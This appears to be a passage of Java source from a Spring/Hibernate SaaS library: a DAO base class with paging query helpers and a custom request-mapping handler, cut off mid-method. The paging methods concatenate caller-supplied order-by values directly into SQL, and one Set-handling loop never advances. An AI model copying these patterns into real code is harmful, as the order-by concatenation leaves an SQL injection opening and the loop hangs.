import org.springframework.dao.DataAccessException;
import org.springframework.dao.support.DataAccessUtils;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource;
import org.springframework.jdbc.core.namedparam.MapSqlParameterSource;
import org.springframework.jdbc.core.namedparam.SqlParameterSource;
import com.zhjs.saas.core.annotation.InitMethod;
import com.zhjs.saas.core.grid.Pagination;
import com.zhjs.saas.core.grid.PagingDisplay;
import com.zhjs.saas.core.grid.SearchCriteria;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.core.pojo.BaseObject;
import com.zhjs.saas.core.util.AopUtil;
import com.zhjs.saas.core.util.ApplicationContextUtil;
import com.zhjs.saas.core.util.BeanUtil;
import com.zhjs.saas.core.util.CollectionUtil;
import com.zhjs.saas.core.util.StringUtil;
/**
* 1. wrap some common operations for getting list by paging.<br>
* 2. sessionFactory and dataSource will be injected automatically.<br>
* 3. support JDBC and Hibernate API. getHibernateTemplate(), getJdbcTemplate() and getNamedJdbcTemplate().<br>
*
* @author: <NAME>
* @since: 2017-05-19
* @modified: 2017-05-19
* @version:
*/
@SuppressWarnings({"unchecked","rawtypes"})
public class AbstractDao extends HibernateAndJdbcDaoSupport implements BaseDao {
protected Logger logger = LoggerFactory.getLogger(getClass());
@InitMethod
public void initDataSourceAndSessionFactory()
{
super.initDataSourceAndSessionFactory();
}
protected void initializeProperties(BaseObject entity, Field field) throws HibernateException
{
boolean accessible = false;
//accessible = field.canAccess(entity);
accessible = field.isAccessible();
if (!accessible) {
field.setAccessible(true);
accessible = true;
}
try {
Object value = field.get(entity);
if (value instanceof PersistentCollection)
Hibernate.initialize(value);
else if (value instanceof BaseObject)
Hibernate.initialize(value);
} catch (IllegalArgumentException e) {
logger.error("Can't cast the entity field when initialize the Hibernate proxy.", e);
} catch (IllegalAccessException e) {
logger.error("Can't access the entity field when initialize the Hibernate proxy.", e);
}
if (accessible)
field.setAccessible(false);
}
public <T extends BaseObject> T initializeObject(T entity) throws HibernateException
{
this.initializeProperties(entity);
return entity;
}
protected void initializeProperties(BaseObject entity) throws HibernateException
{
Field[] fields = entity.getClass().getDeclaredFields();
for(Field field : fields)
{
initializeProperties(entity, field);
}
}
/**
* This method will initialize all fields of the classes included in the
* list. the fieldsNames array will contain the field names to be
* initialized. It invokes hibernate API.
*
* @param session
* @param list
* @param fieldNames
* @throws SecurityException
* @throws NoSuchFieldException
* @throws HibernateException
* @throws IllegalArgumentException
* @throws IllegalAccessException
*/
protected void initializeProperties(List<BaseObject> list, String... fieldNames) throws SecurityException,
NoSuchFieldException, HibernateException {
for (BaseObject listItem : list) {
for (int i = 0; i < fieldNames.length; i++) {
if (fieldNames[i] == null || fieldNames[i].trim().length() == 0)
continue;
Field field = listItem.getClass().getDeclaredField(fieldNames[i]);
initializeProperties(listItem, field);
}
}
}
/**
* This method will initialize all fields of the classes included in the
* list. the fieldsNames array will contain the field names to be
* initialized. It invokes hibernate API.
*
* @param session
* @param list
* @param fieldNames
* @throws SecurityException
* @throws NoSuchFieldException
* @throws HibernateException
* @throws IllegalArgumentException
* @throws IllegalAccessException
*/
protected void initializeProperties(Set<BaseObject> set, String... fieldNames) throws SecurityException,
NoSuchFieldException, HibernateException {
while(set.iterator().hasNext())
{
BaseObject item = set.iterator().next();
for (int i = 0; i < fieldNames.length; i++) {
if (fieldNames[i] == null || fieldNames[i].trim().length() == 0)
continue;
Field field = item.getClass().getDeclaredField(fieldNames[i]);
initializeProperties(item, field);
}
}
}
/**
* This method performs the query by paging for any listing report.
* It invokes hibernate API.
*
* @param gridDisplay -
* The paging and search criteria is provided here
* @param countQuery -
* The select clause/query for counting the rows
* @param dataQuery -
* The select clause/query for listing the rows data
* @param queryBody -
* The query body. If it is null, then the body is already part of
* the count and data queries.
* @return the PagingDisplay, its resultItems filled with a list containing the rows data.
* with the recordCount
* @throws IllegalAccessException
* @throws NoSuchFieldException
* @throws IllegalArgumentException
* @throws SecurityException
* @throws HibernateException
*/
protected PagingDisplay getList(final PagingDisplay gridDisplay, String countQuery, String dataQuery,
String queryBody, String... propToInitialize) throws DataAccessException {
final SearchCriteria search = gridDisplay.getSearchCriteria();
final String dataQ = (queryBody != null ? dataQuery + queryBody : dataQuery);
final String countQ = (countQuery != null ? (queryBody != null ? countQuery + queryBody : countQuery) : dataQ);
final String[] propsToInitialize = propToInitialize;
Long count = getHibernateTemplate().execute(session -> {
Query q = session.createQuery(countQ);
if (search != null)
q.setProperties(search);
return (List<Long>)q.list();
}).get(0);
if (count > 0) {
gridDisplay.getPagination().setRecordCount(count.intValue());
List<BaseObject> result = getHibernateTemplate().execute( session -> {
Query q = session.createQuery(dataQ);
if (search != null)
q.setProperties(search);
q.setFirstResult(gridDisplay.getPagination().getStartIndex());
q.setMaxResults(gridDisplay.getPagination().getPageSize());
List<BaseObject> resultList = q.list();
try {
initializeProperties(resultList, propsToInitialize);
} catch (Exception e) {
logger.error("", e);
}
return resultList;
});
gridDisplay.setResultItems(result);
return gridDisplay;
} else {
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
return gridDisplay;
}
}
/**
* This method performs the query by paging based on criteria.
* It invokes hibernate API.
*
* @param gridDisplay -
* The paging and search criteria is provided here
* @param countCriteria -
* criteria for counting the rows
* @param selectCriteria -
* criteria for listing the rows data
* @return the PagingDisplay, its resultItems filled with a list containing the rows data.
* with the recordCount
*/
protected PagingDisplay getList(final PagingDisplay gridDisplay,
DetachedCriteria countCriteria, DetachedCriteria selectCriteria) throws DataAccessException {
List result = null;
Integer count = (Integer) getHibernateTemplate().findByCriteria(countCriteria).get(0);
if (count > 0) {
gridDisplay.getPagination().setRecordCount(count.intValue());
result = getHibernateTemplate().findByCriteria(selectCriteria,
gridDisplay.getPagination().getStartIndex(),
gridDisplay.getPagination().getPageSize());
gridDisplay.setResultItems(result);
} else {
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
}
return gridDisplay;
}
private String defaultWithCount = "select count(*) over() recordCount, ";
protected String generatePagingSql(String oringinalSql, final PagingDisplay gridDisplay)
{
StringBuilder sql = new StringBuilder();
sql.append("select * from (");
sql.append("select rownum row_num, tbl_a.* from (");
sql.append(oringinalSql);
if(StringUtil.isNotEmpty(gridDisplay.getSearchCriteria().getOrderBy()))
sql.append(" order by " + gridDisplay.getSearchCriteria().getOrderBy()
+ " " + gridDisplay.getSearchCriteria().getOrderType());
//sql.append(") tbl_a) tbl_b where tbl_b.row_num>=" + gridDisplay.getGridPaging().getStartRow());
//sql.append(" and tbl_b.row_num<=" + gridDisplay.getGridPaging().getEndRow());
sql.append(") tbl_a) tbl_b where tbl_b.row_num>=:startRow");
sql.append(" and tbl_b.row_num<=:endRow");
//sql.append(") tbl_b");
logger.info("JDBC SQL statment: " + sql.toString());
return sql.toString();
}
protected String fetchPagingSQL(String orgSql, final PagingDisplay gridDisplay)
{
/**
* select * from table where column=:condition order by column
*
* select rownum row_num, * from table where rownum<=:endRow and column=:condition order by column
*
* select * from (select rownum row_num, * from table where rownum<=:endRow and column=:condition order by column) tmp
* where tmp.row_num>=:startRow
*
*/
/*orgSql = StringUtil.lowerCase(orgSql);
orgSql = StringUtil.trim(orgSql);
orgSql = StringUtil.removeStart(orgSql, "select ");*/
StringBuilder sql = new StringBuilder();
sql.append("select * from (").append("select rownum row_num, tbl_a.* from(").append(orgSql);
if(StringUtil.isNotEmpty(gridDisplay.getSearchCriteria().getOrderBy()))
sql.append(" order by " + gridDisplay.getSearchCriteria().getOrderBy()
+ " " + gridDisplay.getSearchCriteria().getOrderType());
sql.append(") tbl_a where rownum<=:endRow ) tbl_b where row_num>=:startRow");
logger.info("JDBC SQL statment: " + sql.toString());
return sql.toString();
}
public PagingDisplay fetchData(final PagingDisplay gridDisplay, String countQuery, String dataQuery,
String queryBody) throws DataAccessException
{
String sql = countQuery + queryBody;
SearchCriteria criteria = gridDisplay.getSearchCriteria();
SqlParameterSource paramSource;
if(criteria.getCriteria() instanceof Map)
{
paramSource = new MapSqlParameterSource((Map)criteria.getCriteria());
((MapSqlParameterSource)paramSource).addValue("startRow", gridDisplay.getPagination().getStartRow());
((MapSqlParameterSource)paramSource).addValue("endRow", gridDisplay.getPagination().getEndRow());
}
else
paramSource = new BeanPropertySqlParameterSource(criteria.getCriteria());
int count = getNamedJdbcTemplate().queryForObject(sql, paramSource, Integer.class);
if(count>0)
{
gridDisplay.getPagination().setRecordCount(count);
List list = getNamedJdbcTemplate().queryForList(fetchPagingSQL(dataQuery+queryBody,gridDisplay), paramSource);
/*List list = getNamedJdbcTemplate().query(generatePagingSql(dataQuery+queryBody, gridDisplay),
paramSource, new GmBeanPropertyRowMapper(clazz));*/
gridDisplay.setResultItems(list);
}
else
{
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
}
return gridDisplay;
}
/**
* 统计记录数与检索的sql语句分开
* @param gridDisplay
* @param countQuery
* @param dataQuery
* @param queryBody
* @return
* @throws DataAccessException
*/
public PagingDisplay fetchSeparateCountSelect(final PagingDisplay gridDisplay, String countQuery,String queryBody) throws DataAccessException
{
SearchCriteria criteria = gridDisplay.getSearchCriteria();
SqlParameterSource paramSource;
if(criteria.getCriteria() instanceof Map)
{
paramSource = new MapSqlParameterSource((Map)criteria.getCriteria());
((MapSqlParameterSource)paramSource).addValue("startRow", gridDisplay.getPagination().getStartRow());
((MapSqlParameterSource)paramSource).addValue("endRow", gridDisplay.getPagination().getEndRow());
}
else
paramSource = new BeanPropertySqlParameterSource(criteria.getCriteria());
int count = getNamedJdbcTemplate().queryForObject(countQuery, paramSource, Integer.class);
if(count>0)
{
gridDisplay.getPagination().setRecordCount(count);
List list = getNamedJdbcTemplate().queryForList(fetchPagingSQL(queryBody,gridDisplay), paramSource);
gridDisplay.setResultItems(list);
}
else
{
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
}
return gridDisplay;
}
/**
* It performs listing by paging base on search criteria.
* Implemented by JDBC API.
* <p>
* for example queryBody:
* country_name, country_name_cn from gm$countries
* </p>
* it will be generate to:
* <p>
* select count(*) over() recordCount, country_name, country_name_cn from gm$countries
* </p>
* you will find that the recordCount included.
*
* @param gridDisplay
* @param queryBody a sql statement without "select" beginning
* @return PagingDisplay it contains result list with map.
*/
protected PagingDisplay getList(final PagingDisplay gridDisplay, String queryBody) throws DataAccessException
{
String sql = defaultWithCount + queryBody;
SearchCriteria criteria = gridDisplay.getSearchCriteria();
SqlParameterSource paramSource;
if(criteria.getCriteria() instanceof Map)
{
paramSource = new MapSqlParameterSource((Map)criteria.getCriteria());
((MapSqlParameterSource)paramSource).addValue("startRow", gridDisplay.getPagination().getStartRow());
((MapSqlParameterSource)paramSource).addValue("endRow", gridDisplay.getPagination().getEndRow());
}
else
paramSource = new BeanPropertySqlParameterSource(criteria.getCriteria());
List list = getNamedJdbcTemplate().queryForList(generatePagingSql(sql,gridDisplay), paramSource);
if(list.size()>0)
{
gridDisplay.getPagination().setRecordCount(((BigDecimal)((Map)list.get(0)).get("recordCount")).intValue());
gridDisplay.setResultItems(list);
}
else
{
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
}
return gridDisplay;
}
/**
* It performs listing by paging base on search criteria.
* Implemented by JDBC API.
*
* @param gridDisplay
* @param queryBody a full sql statement without "select" beginning
* @param class
* @return PagingDisplay it contains result list with class object.
*/
protected PagingDisplay getList(final PagingDisplay gridDisplay, String countQuery, String dataQuery,
String queryBody) throws DataAccessException
{
String sql = countQuery + queryBody;
SearchCriteria criteria = gridDisplay.getSearchCriteria();
SqlParameterSource paramSource;
if(criteria.getCriteria() instanceof Map)
{
paramSource = new MapSqlParameterSource((Map)criteria.getCriteria());
((MapSqlParameterSource)paramSource).addValue("startRow", gridDisplay.getPagination().getStartRow());
((MapSqlParameterSource)paramSource).addValue("endRow", gridDisplay.getPagination().getEndRow());
}
else
paramSource = new BeanPropertySqlParameterSource(criteria.getCriteria());
int count = getNamedJdbcTemplate().queryForObject(sql, paramSource, Integer.class);
if(count>0)
{
gridDisplay.getPagination().setRecordCount(count);
List list = getNamedJdbcTemplate().queryForList(generatePagingSql(dataQuery+queryBody,gridDisplay), paramSource);
/*List list = getNamedJdbcTemplate().query(generatePagingSql(dataQuery+queryBody, gridDisplay),
paramSource, new GmBeanPropertyRowMapper(clazz));*/
gridDisplay.setResultItems(list);
}
else
{
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
}
return gridDisplay;
}
/**
* It performs listing by paging base on search criteria.
* Implemented by JDBC API.
*
* @param gridDisplay
* @param queryBody a full sql statement without "select" beginning
* @param class
* @return PagingDisplay it contains result list with class object.
*/
protected PagingDisplay getList(final PagingDisplay gridDisplay, String countQuery, String dataQuery,
String queryBody, Class clazz) throws DataAccessException
{
String sql = countQuery + queryBody;
SearchCriteria criteria = gridDisplay.getSearchCriteria();
SqlParameterSource paramSource;
if(criteria.getCriteria() instanceof Map)
{
paramSource = new MapSqlParameterSource((Map)criteria.getCriteria());
((MapSqlParameterSource)paramSource).addValue("startRow", gridDisplay.getPagination().getStartRow());
((MapSqlParameterSource)paramSource).addValue("endRow", gridDisplay.getPagination().getEndRow());
}
else
paramSource = new BeanPropertySqlParameterSource(criteria.getCriteria());
int count = getNamedJdbcTemplate().queryForObject(sql, paramSource, Integer.class);
if(count>0)
{
gridDisplay.getPagination().setRecordCount(count);
List list = getNamedJdbcTemplate().query(generatePagingSql(dataQuery+queryBody, gridDisplay),
paramSource, new BeanPropertyRowMapper(clazz));
gridDisplay.setResultItems(list);
}
else
{
gridDisplay.getPagination().setRecordCount(0);
gridDisplay.setResultItems(new ArrayList());
}
return gridDisplay;
}
private String pagingSQL(String bodySQL, String sorting)
{
return "select * from ( select row_number() over(" + sorting + ") rownum, count(*) over() recordCount, " + bodySQL + ")"
+ " as ptmp where ptmp.rownum>=:startRow limit :pageSize";
}
public <T extends BaseObject> PagingDisplay<T> pagingQuery(String sql, Pagination page, Class<T> classType) throws DataAccessException
{
return pagingQuery(sql, page, classType, new HashMap<>());
}
public <T extends BaseObject> PagingDisplay<T> pagingQuery(String sql, Pagination page, Class<T> classType, Object paramObject) throws DataAccessException
{
sql = pagingSQL(Pattern.compile(DaoConstants.SQL_Select,Pattern.CASE_INSENSITIVE)
.matcher(sql).replaceFirst(" "), page.getSorting());
PagingDisplay<T> grid = new PagingDisplay<>();
Map<String,Object> params = new HashMap<>();
if(paramObject instanceof Map)
{
params = ((Map) paramObject);
}
if(paramObject instanceof BaseObject)
{
try
{
params = PropertyUtils.describe(paramObject);
}
catch (IllegalAccessException |InvocationTargetException |NoSuchMethodException e)
{
logger.error(e.getMessage(), e);
}
}
params.put("pageSize", page.getPageSize());
params.put("startRow", page.getStartRow());
List<T> result = this.queryByJdbc(sql, classType, params);
if(CollectionUtil.isNotEmpty(result))
{
page.setRecordCount(result.get(0).getRecordCount());
}
else
page.setRecordCount(0);
grid.setPagination(page);
grid.setResultItems(result);
return grid;
}
protected <T extends BaseObject> BeanPropertyRowMapper<T> registry(Class<T> classType)
{
BeanPropertyRowMapper<T> beanMapper = new BeanPropertyRowMapper<>(classType);
ConverterRegistry registry = (ConverterRegistry)beanMapper.getConversionService();
registry.addConverter(new PgArrayToArrayConverter(beanMapper.getConversionService()));
return beanMapper;
}
public <T extends BaseObject> List<T> queryByJdbc(String sql, Class<T> classType, Object... paramValues) throws DataAccessException
{
return this.queryByJdbc(sql, registry(classType), paramValues);
}
public <T extends BaseObject> List<T> queryByJdbc(String sql, Class<T> classType, Map<String,?> params) throws DataAccessException
{
return this.getNamedJdbcTemplate().query(sql, new MapSqlParameterSource(params), registry(classType));
}
public <T extends BaseObject> List<T> queryByJdbc(String sql, Class<T> classType, BaseObject t) throws DataAccessException
{
return this.getNamedJdbcTemplate().query(sql, new BeanPropertySqlParameterSource(t), registry(classType));
}
public <T extends BaseObject> List<T> queryByJdbc(String sql, RowMapper<T> rowMapper, Object...paramValues) throws DataAccessException
{
return this.getJdbcTemplate().query(sql, paramValues, rowMapper);
}
public <T extends BaseObject> T queryForObject(String sql, Class<T> classType, Object...paramValues) throws DataAccessException
{
return this.queryForObject(sql, registry(classType), paramValues);
}
public <T extends BaseObject> T queryForObject(String sql, Class<T> classType, Object t) throws DataAccessException
{
return this.getNamedJdbcTemplate().queryForObject(sql, new BeanPropertySqlParameterSource(t), registry(classType));
}
public <T extends BaseObject> T queryForObject(String sql, RowMapper<T> rowMapper, Object...paramValues) throws DataAccessException
{
return this.getJdbcTemplate().queryForObject(sql, paramValues, rowMapper);
}
public <T extends BaseObject> T call(String sql, Object in, Class<T> out) throws DataAccessException
{
return this.getNamedJdbcTemplate().call(sql, new BeanPropertySqlParameterSource(in), out);
}
public Map<String,?> call(String sql, Map<String,?> in, Map<String,Class<?>> out) throws DataAccessException
{
return this.getNamedJdbcTemplate().call(sql, new MapSqlParameterSource(in), out);
}
public Map<String,?> call(String sql, Object in) throws DataAccessException
{
return this.getNamedJdbcTemplate().call(sql, new BeanPropertySqlParameterSource(in));
}
public List<Map<String, Object>> callForList(String sql, Object in) throws DataAccessException
{
return this.getNamedJdbcTemplate().callForList(sql, new BeanPropertySqlParameterSource(in));
}
public <T extends BaseObject> T callForObject(String sql, Class<T> out, Object in) throws DataAccessException
{
return BeanUtil.dataToBean(this.call(sql, in), out);
}
public List<BaseObject> findByNamedParam(String queryString, Map<String,Object> param, boolean forceInit)
throws DataAccessException {
List<BaseObject> results = (List<BaseObject>)this.getHibernateTemplate().findByNamedParam(queryString,
param.keySet().toArray(new String[param.size()]), param.values().toArray());
if(forceInit)
{
for(BaseObject entity : results)
this.initializeProperties(entity);
}
return results;
}
public BaseObject findObjectByNamedParam(String queryString, Map<String,Object> param, boolean forceInit)
throws DataAccessException {
List<BaseObject> results = (List<BaseObject>)this.getHibernateTemplate().findByNamedParam(queryString,
param.keySet().toArray(new String[param.size()]), param.values().toArray());
BaseObject entity = DataAccessUtils.requiredSingleResult(results);
if(forceInit)
this.initializeProperties(entity);
return entity;
}
public <R extends CommonRepository<T,ID>, T extends BaseObject, ID extends Serializable> R commonDao(Class<T> type, Class<ID> keyType)
{
R r = null;
Map<String,CommonRepository> beans = ApplicationContextUtil.getApplicationContext().getBeansOfType(CommonRepository.class);
for(Entry<String,CommonRepository> entry : beans.entrySet())
{
AdvisedSupport advised = AopUtil.getAdvised(entry.getValue());
Type t = ((ParameterizedType)advised.getProxiedInterfaces()[0].getGenericInterfaces()[0]).getActualTypeArguments()[0];
if(type.equals(t))
r = (R)entry.getValue();
}
return r;
}
public <R extends CommonRepository<T,?>, T extends BaseObject> R commonDao(Class<T> type)
{
Class<?> keyClass = String.class;
Field[] fields = type.getDeclaredFields();
for(Field field : fields)
{
if(field.isAnnotationPresent(Id.class))
{
keyClass = field.getType();
break;
}
}
R r = (R)commonDao(type, (Class<Serializable>)keyClass);
return r;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/annotation/support/ApiMappingHandlerMapping.java
package com.zhjs.saas.core.annotation.support;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Map;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.lang3.ArrayUtils;
import org.springframework.core.annotation.AnnotatedElementUtils;
import org.springframework.core.annotation.AnnotationUtils;
import org.springframework.stereotype.Controller;
import org.springframework.util.Assert;
import org.springframework.util.CollectionUtils;
import org.springframework.util.StringValueResolver;
import org.springframework.web.accept.ContentNegotiationManager;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.servlet.handler.RequestMatchResult;
import org.springframework.web.servlet.mvc.condition.AbstractRequestCondition;
import org.springframework.web.servlet.mvc.condition.CompositeRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import com.zhjs.saas.core.annotation.ApiMapping;
import com.zhjs.saas.core.annotation.RestComponent;
import com.zhjs.saas.core.util.StringUtil;
/**
* Creates {@link RequestMappingInfo} instances from type and method-level
* {@link RequestMapping @RequestMapping}, and {@link ApiMapping @ApiMapping}
* for method-level, which annotations in {@link Controller @Controller}
* classes.
*
* @author: <NAME>
* @since: 2017-06-06
* @modified: 2017-06-06
* @version:
*/
public class ApiMappingHandlerMapping extends RequestMappingHandlerMapping
{
private boolean useSuffixPatternMatch = true;
private boolean useRegisteredSuffixPatternMatch = false;
private boolean useTrailingSlashMatch = true;
private ContentNegotiationManager contentNegotiationManager = new ContentNegotiationManager();
private StringValueResolver embeddedValueResolver;
private RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
/**
* Whether to use suffix pattern match (".*") when matching patterns to
* requests. If enabled a method mapped to "/users" also matches to
* "/users.*".
* <p>
* The default value is {@code true}.
* <p>
* Also see {@link #setUseRegisteredSuffixPatternMatch(boolean)} for more
* fine-grained control over specific suffixes to allow.
*/
public void setUseSuffixPatternMatch(boolean useSuffixPatternMatch)
{
this.useSuffixPatternMatch = useSuffixPatternMatch;
}
/**
* Whether suffix pattern matching should work only against path extensions
* explicitly registered with the {@link ContentNegotiationManager}. This is
* generally recommended to reduce ambiguity and to avoid issues such as
* when a "." appears in the path for other reasons.
* <p>
* By default this is set to "false".
*/
public void setUseRegisteredSuffixPatternMatch(boolean useRegisteredSuffixPatternMatch)
{
this.useRegisteredSuffixPatternMatch = useRegisteredSuffixPatternMatch;
this.useSuffixPatternMatch = (useRegisteredSuffixPatternMatch || this.useSuffixPatternMatch);
}
/**
* Whether to match to URLs irrespective of the presence of a trailing
* slash. If enabled a method mapped to "/users" also matches to "/users/".
* <p>
* The default value is {@code true}.
*/
public void setUseTrailingSlashMatch(boolean useTrailingSlashMatch)
{
this.useTrailingSlashMatch = useTrailingSlashMatch;
}
/**
* Set the {@link ContentNegotiationManager} to use to determine requested
* media types. If not set, the default constructor is used.
*/
public void setContentNegotiationManager(ContentNegotiationManager contentNegotiationManager)
{
Assert.notNull(contentNegotiationManager, "ContentNegotiationManager must not be null");
this.contentNegotiationManager = contentNegotiationManager;
}
@Override
public void setEmbeddedValueResolver(StringValueResolver resolver)
{
this.embeddedValueResolver = resolver;
}
@Override
public void afterPropertiesSet()
{
this.config = new RequestMappingInfo.BuilderConfiguration();
this.config.setUrlPathHelper(getUrlPathHelper());
this.config.setPathMatcher(getPathMatcher());
this.config.setSuffixPatternMatch(this.useSuffixPatternMatch);
this.config.setTrailingSlashMatch(this.useTrailingSlashMatch);
this.config.setRegisteredSuffixPatternMatch(this.useRegisteredSuffixPatternMatch);
this.config.setContentNegotiationManager(getContentNegotiationManager());
super.afterPropertiesSet();
}
/**
* Whether to use suffix pattern matching.
*/
public boolean useSuffixPatternMatch()
{
return this.useSuffixPatternMatch;
}
/**
* Whether to use registered suffixes for pattern matching.
*/
public boolean useRegisteredSuffixPatternMatch()
{
return this.useRegisteredSuffixPatternMatch;
}
/**
* Whether to match to URLs irrespective of the presence of a trailing
* slash.
*/
public boolean useTrailingSlashMatch()
{
return this.useTrailingSlashMatch;
}
/**
* Return the configured {@link ContentNegotiationManager}.
*/
public ContentNegotiationManager getContentNegotiationManager()
{
return this.contentNegotiationManager;
}
/**
* Return the file extensions to use for suffix pattern matching.
*/
public List<String> getFileExtensions()
{
return this.config.getFileExtensions();
}
/**
* {@inheritDoc} Expects a handler to have a type-level @{@link Controller}
* annotation.
*/
@Override
protected boolean isHandler(Class<?> beanType)
{
return (AnnotatedElementUtils.hasAnnotation(beanType, RestComponent.class)
|| AnnotatedElementUtils.hasAnnotation(beanType, Controller.class)
|| AnnotatedElementUtils.hasAnnotation(beanType, RequestMapping.class));
}
/**
* Uses method and type-level @{@link RequestMapping} annotations to create
* the RequestMappingInfo.
*
* @return the created RequestMappingInfo, or {@code null} if the method
* does not have a {@code @RequestMapping} annotation.
* @see #getCustomMethodCondition(Method)
* @see #getCustomTypeCondition(Class)
*/
@Override
protected RequestMappingInfo getMappingForMethod(Method method, Class<?> handlerType)
{
RequestMappingInfo info = createRequestMappingInfo(method);
if (info != null)
{
RequestMappingInfo typeInfo = createRequestMappingInfo(handlerType);
if (typeInfo != null)
{
info = typeInfo.combine(info);
}
}
return info;
}
/**
* Delegates to
* {@link #createRequestMappingInfo(RequestMapping, RequestCondition)},
* supplying the appropriate custom {@link RequestCondition} depending on
* whether the supplied {@code annotatedElement} is a class or method.
*
* @see #getCustomTypeCondition(Class)
* @see #getCustomMethodCondition(Method)
*/
private RequestMappingInfo createRequestMappingInfo(AnnotatedElement element)
{
if(element instanceof Method)
{
ApiMapping api = AnnotatedElementUtils.findMergedAnnotation(element, ApiMapping.class);
if(api!=null)
return createApiMappingInfo(api, ((Method)element).getName());
}
RequestMapping requestMapping = AnnotatedElementUtils.findMergedAnnotation(element, RequestMapping.class);
RequestCondition<?> condition = (element instanceof Class ? getCustomTypeCondition((Class<?>) element)
: getCustomMethodCondition((Method) element));
return (requestMapping != null ? createRequestMappingInfo(requestMapping, condition) : null);
}
/**
* Provide a custom type-level request condition. The custom
* {@link RequestCondition} can be of any type so long as the same condition
* type is returned from all calls to this method in order to ensure custom
* request conditions can be combined and compared.
* <p>
* Consider extending {@link AbstractRequestCondition} for custom condition
* types and using {@link CompositeRequestCondition} to provide multiple
* custom conditions.
*
* @param handlerType
* the handler type for which to create the condition
* @return the condition, or {@code null}
*/
protected RequestCondition<?> getCustomTypeCondition(Class<?> handlerType)
{
return null;
}
/**
* Provide a custom method-level request condition. The custom
* {@link RequestCondition} can be of any type so long as the same condition
* type is returned from all calls to this method in order to ensure custom
* request conditions can be combined and compared.
* <p>
* Consider extending {@link AbstractRequestCondition} for custom condition
* types and using {@link CompositeRequestCondition} to provide multiple
* custom conditions.
*
* @param method
* the handler method for which to create the condition
* @return the condition, or {@code null}
*/
protected RequestCondition<?> getCustomMethodCondition(Method method)
{
return null;
}
/**
* Create a {@link RequestMappingInfo} from the supplied
* {@link RequestMapping @RequestMapping} annotation, which is either a
* directly declared annotation, a meta-annotation, or the synthesized
* result of merging annotation attributes within an annotation hierarchy.
*/
protected RequestMappingInfo createRequestMappingInfo(RequestMapping requestMapping,
RequestCondition<?> customCondition)
{
return RequestMappingInfo.paths(resolveEmbeddedValuesInPatterns(requestMapping.path()))
.methods(requestMapping.method()).params(requestMapping.params()).headers(requestMapping.headers())
.consumes(requestMapping.consumes()).produces(requestMapping.produces())
.mappingName(requestMapping.name()).customCondition(customCondition).options(this.config).build();
}
/**
* Create a {@link RequestMappingInfo} from the supplied
* {@link RequestMapping @RequestMapping} annotation, which is either a
* directly declared annotation, a meta-annotation, or the synthesized
* result of merging annotation attributes within an annotation hierarchy.
*/
protected RequestMappingInfo createApiMappingInfo(ApiMapping apiMapping, String method)
{
Map<String, Object> attributes = AnnotationUtils.getAnnotationAttributes(apiMapping);
String service = (String)attributes.get(ApiMapping.Service);
if(StringUtil.isEmpty(service))
service = method;
String version = (String)attributes.get(ApiMapping.Version);
String[] params = StringUtil.isEmpty(version) ? ArrayUtils.addAll(apiMapping.params(), "method="+service)
: ArrayUtils.addAll(apiMapping.params(), "method="+service, "v="+version);
return RequestMappingInfo.paths(resolveEmbeddedValuesInPatterns(apiMapping.path()))
.methods(apiMapping.method()).params(params).headers(apiMapping.headers())
.consumes(apiMapping.consumes()).produces(apiMapping.produces())
.mappingName(apiMapping.name()).options(this.config).build();
}
/**
* Resolve placeholder values in the given array of patterns.
*
* @return a new array with updated patterns
*/
protected String[] resolveEmbeddedValuesInPatterns(String[] patterns)
{
if (this.embeddedValueResolver == null)
{
return patterns;
} else
{
String[] resolvedPatterns = new String[patterns.length];
for (int i = 0; i < patterns.length; i++)
{
resolvedPatterns[i] = this.embeddedValueResolver.resolveStringValue(patterns[i]);
}
return resolvedPatterns;
}
}
@Override
public RequestMatchResult match(HttpServletRequest request, String pattern)
{
RequestMappingInfo info = RequestMappingInfo.paths(pattern).options(this.config).build();
RequestMappingInfo matchingInfo = info.getMatchingCondition(request);
if (matchingInfo == null)
{
return null;
}
Set<String> patterns = matchingInfo.getPatternsCondition().getPatterns();
String lookupPath = getUrlPathHelper().getLookupPathForRequest(request);
return new RequestMatchResult(patterns.iterator().next(), lookupPath, getPathMatcher());
}
@Override
protected CorsConfiguration initCorsConfiguration(Object handler, Method method, RequestMappingInfo mappingInfo)
{
HandlerMethod handlerMethod = createHandlerMethod(handler, method);
CrossOrigin typeAnnotation = AnnotatedElementUtils.findMergedAnnotation(handlerMethod.getBeanType(),
CrossOrigin.class);
CrossOrigin methodAnnotation = AnnotatedElementUtils.findMergedAnnotation(method, CrossOrigin.class);
if (typeAnnotation == null && methodAnnotation == null)
{
return null;
}
CorsConfiguration config = new CorsConfiguration();
updateCorsConfig(config, typeAnnotation);
updateCorsConfig(config, methodAnnotation);
if (CollectionUtils.isEmpty(config.getAllowedMethods()))
{
for (RequestMethod allowedMethod : mappingInfo.getMethodsCondition().getMethods())
{
config.addAllowedMethod(allowedMethod.name());
}
}
return config.applyPermitDefaultValues();
}
private void updateCorsConfig(CorsConfiguration config, CrossOrigin annotation)
{
if (annotation == null)
{
return;
}
for (String origin : annotation.origins())
{
config.addAllowedOrigin(resolveCorsAnnotationValue(origin));
}
